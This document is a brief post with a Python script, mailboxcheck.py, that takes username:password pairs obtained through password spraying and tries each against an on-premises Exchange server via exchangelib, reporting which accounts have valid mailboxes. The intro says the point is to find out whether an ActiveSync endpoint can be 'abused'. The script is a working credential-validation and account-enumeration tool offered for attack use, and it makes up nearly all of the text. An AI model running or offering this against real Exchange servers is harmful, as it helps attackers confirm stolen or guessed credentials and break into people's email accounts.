Lets you feed in a list of user credentials guessed during spraying to check if they have a valid mailbox for an on-prem Exchange server. Basically an easy way to tell if you are going to be able to abuse an ActiveSync endpoint or not. Need to install exchangelib for this to work.

mailboxcheck.py

import os
import argparse
from exchangelib import Credentials, Account, Configuration
from exchangelib.errors import ErrorNonExistentMailbox, UnauthorizedError

def args():
    parser = argparse.ArgumentParser()
    parser.add_argument("-c", "--creds", dest="creds", help="List of known valid user credentials in the format user@acme.com:password", action='store', required=True)
    parser.add_argument("-t", "--target", dest="target", help="Target Exchange server.", action='store', required=True)
    args = parser.parse_args()

    if args.creds and os.path.exists(args.creds) == True:
        pass
    else:
        print("File doesn't exist!")
        exit()

    return args.creds, args.target

def check(creds, target):
    file = open(creds)
    content = file.read()
    combo = content.splitlines()

    for i in combo:
        line = i.split(":")
        
        try: 
            credentials = Credentials(f'{line[0]}', f'{line[1]}')
            config = Configuration(server=f'{target}', credentials=credentials)
            account = Account(primary_smtp_address=f'{line[0]}', config=config, autodiscover=False)
            var = account.inbox.total_count
        except ErrorNonExistentMailbox as neb:
            print(f'[!] Mailbox does not exist for user: {line[0]}')
        except UnauthorizedError as err:
            print(f'[!] Invalid credentials for user: {line[0]}')
        else: 
           print(f'[+] Mailbox exists for user: {line[0]}')
           pass

creds, target = args()
check(creds, target)